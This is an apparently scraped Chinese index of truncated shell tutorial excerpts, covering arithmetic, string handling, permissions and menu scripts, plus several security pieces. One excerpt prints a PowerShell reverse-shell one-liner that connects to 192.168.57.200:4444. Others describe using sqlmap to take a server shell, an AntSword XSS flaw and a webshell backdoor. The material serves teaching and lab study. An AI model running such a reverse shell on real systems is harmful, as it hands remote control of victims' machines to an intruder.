【shell系列一】教程文章相关的互联网学习教程文章

PowerShell:因为在此系统上禁止运行脚本,解决方法【图】

错误提示: yarn:无法加载文件 C:\Users\**\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?Li 所在位置 行:1 字符: 1+ yarn -v+ ~~~~ + CategoryInfo : SecurityError: (:) [],PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess 解决办法: 计算机上启动 Windows PowerShell 时,执行策略很可能是 Restricted(默认设置)。...

shell算术运算

shell只可以做整数算术运算1、支持的运算符 + 加法 - 减法 * 乘法 / 除法 % 取余2、算术表达式 (1)let 表达式 # let C=$A+$B (2)$((表达式)) # C=$(($A+$B)) (3)$[表达式] # C=$[$A + $B] (4)expr命令 # C=`expr $A + $B` (5)bc命令 # C=`echo "$A+$B" | bc`

【信息安全】反弹shell【代码】

1、windows-powershell反弹shellkali作为服务端,windows使用powershell连接kali,并将自己的shell给kaliwindows端 $client = New-Object System.Net.Sockets.TCPClient('192.168.57.200',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $...

Shell写系统小工具【代码】

#!/usr/bin/bashsource /etc/init.d/functions help_menu(){cat <<-EOFd、显示磁盘利用率m、显示内存利用率u、显示CPU负载情况a、显示IP地址b、显示磁盘分区n、显示网络情况h、显示命令帮助EOF}cat <<-EOFd、显示磁盘利用率m、显示内存利用率u、显示CPU负载情况a、显示IP地址b、显示磁盘分区n、显示网络情况h、显示命令帮助EOFwhile truedotrap "" HUP INT TSTPread -p "请输入要查看的功能编号:[h显示帮助]" num case $num in ...

shell子串介绍【图】

shell子串 a=wo love linux .linux makes us happyecho ${a}输出字符串也可以用echo $aecho ${#a}求字符串的长度echo $a |wc -L expr length “$a”echo “$a” |awk ‘{print length($0)}’echo ${b:2}从0开始,从第二个开始取。 echo ${b:2:3}从2开始,取3个字符。echo $b ====abcdefgabcabcdabcecho ${b#a*c}从开头开始最短匹配长度echo ${b##a*c}从开头开始最长匹配长度echo ${b%a*c}从结尾开始匹配最短匹配长度echo $...

Shell中字符串的切割、拼接、比较、替换【图】

【截取】 一、Linux shell 截取字符变量的前8位,有方法如下: 1.expr substr “$a” 1 8 2.echo $a|awk ‘{print substr(,1,8)}’ 3.echo $a|cut -c1-8 4.echo $ 5.expr $a : ‘(.\).*’ 6.echo $a|dd bs=1 count=8 2>/dev/null123456补充:expr(选项)(参数) expr的常用运算符:+ - * 、 % expr 2 + 3 5来自: http://man.linuxde.net/expr 二、按指定的字符串截取 1、第一种方法: ${varible##*string} 从左向右截取最后一个str...

蚁剑xss漏洞,获取***者shell【代码】【图】

今日在github上看到蚁剑暴露了一个xss漏洞,自己也经常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。 一、漏洞成因 蚁剑shell远程连接失败时,蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。 用过蚁剑的童靴都清楚,当我们远程连接写好的webshell的时候,有时候可能因为shell书写错误或者链接填写不当的时候,会出现大堆的错误代码。 该信息并没有进行 XSS 保护,因此能够利用 js 调...

Bash shell 的算术运算有四种方式

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~1:使用 expr 外部程式加法 r=`expr 4 + 5`echo $r注意! ‘4‘ ‘+‘ ‘5‘ 这三者之间要有空白r=`expr 4 * 5` #错误乘法 r=`expr 4 \* 5`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~2:使用 $(( ))r=$(( 4 + 5 ))echo $r~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~3:使用 $[ ]r=$[ 4 + 5 ]echo $r乘法r=`expr 4 \* 5` r=$(( 4 * 5 ))r=$[ 4 * 5 ]echo $r除法r=`expr 40 / 5` r=$(( 40 / 5 ))r=$[ 40 / 5 ]echo...

利用SQLmap 拿服务器shell【代码】

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即...

webshell后门分析【图】

别再让我遇到,不会有结果又很喜欢的人。。。 ?---- 网易云热评 一、访问上传的木马文件 http://192.168.1.104/1.asp 二、点击F12,打开谷歌自带的开发人员工具,点击network 三、输入密码,看看抓包情况,该木马会自动向某网站上传木马路径和密码 四、查看木马源文件,然后搜索该网址,随便修改为一个无效地址,该木马用的是反转加密,所以我们搜索不到,有时候是其他加密,需要解密才可以修改 注意:抓包的时候,有的后门不...

shell脚本

#!/bin/bashfile="/export/ucinfo/shell/memory.log"mem=`grep "used_memory:" $file | cut -d: -f2`maxmem=`grep "maxmemory:" $file | cut -d: -f2`number=`awk -v mem=$mem -v maxmem=$maxmem ‘BEGIN{printf "%0.2f\n",mem/maxmem}‘`number01=`echo $number |awk -F "." ‘{print $2}‘`echo $number01number02=75if [ "$number01" -lt "$number02" ]then echo "less than 0.75"else echo "more than 0.75"fi本文出自 “...

shell之select用法【代码】

有的时候我们在写shell脚本的时候,需要通过菜单的方式去看到自己相要的内容;select可以实现菜单的功能;select要与case结合使用; PS3="Please select a number: " select name in zhangsan lisi wangwu zhaoliu docase $name inzhangsan)echo "Hello, zhangsan.";;lisi)echo "Hello,lisi.";;wangwu)echo "Hello, wangwu.";;zhaoliu)echo "Hello, zhaoliu.";;*)echo "Sorry, there is no such person.";;esac done PS3:用于修改...

【蜕变之路】第35天 Xshell 6 (2019年3月25日)

Hello,大家好!我是程序员阿飞!今天给大家分享一款软件:Xshell 6! 1、Xshell是一个强大的安全终端模拟软件,它主要是通过互联网远程访问不同系统的服务器,从而达到远程控制终端的目的。除此之外,它还有丰富的外观配色方案以及样式选择。 2、下载地址:https://www.netsarang.com/zh/free-for-home-school/ 3、常用命令 (1)列出文件:ls (2)复制文件:cp (3)移动或重命名文件:mv ...

1-9:学习shell之权限【图】

文章目录 前言:一:所有者,组成员和其他人二:读取,写入和执行(1)chmod-更改文件权限A:八进制数字表示法B:符号表示法 (2)umask-设置默认权限 三:更改身份(1)su-以其他用户和组ID的身份运行shell(2)sudo-提升权限执行命令(3)chown-更改文件所有者和所属群组前言: Linux不止是多任务操作系统,更关键的他还是多用户操作系统,这意味着同一时间内可以有多个用户使用同一台计算机 如果计算机连接到一个网络或者互联网...

shell 之文件名匹配和命令执行(四)【图】

今天我们来学习下 shell 脚本中的文件名匹配和命令执行的顺序与结果。我们学习这个的目的是可以熟悉的在 shell 脚本中写出快速的找到文件的命令。它可以匹配文件名中的任何字符串,匹配文件名中的单个字符以及匹配文件名中的字母或数字符号。 首先我们来看看匹配文件的符号的定义,匹配字符串类型的符号称之为元字符。匹配文件名中的任意字符串,同时也包括空字符串。 举例:ls /etc/*.conf ls /etc/h*.co*f。结...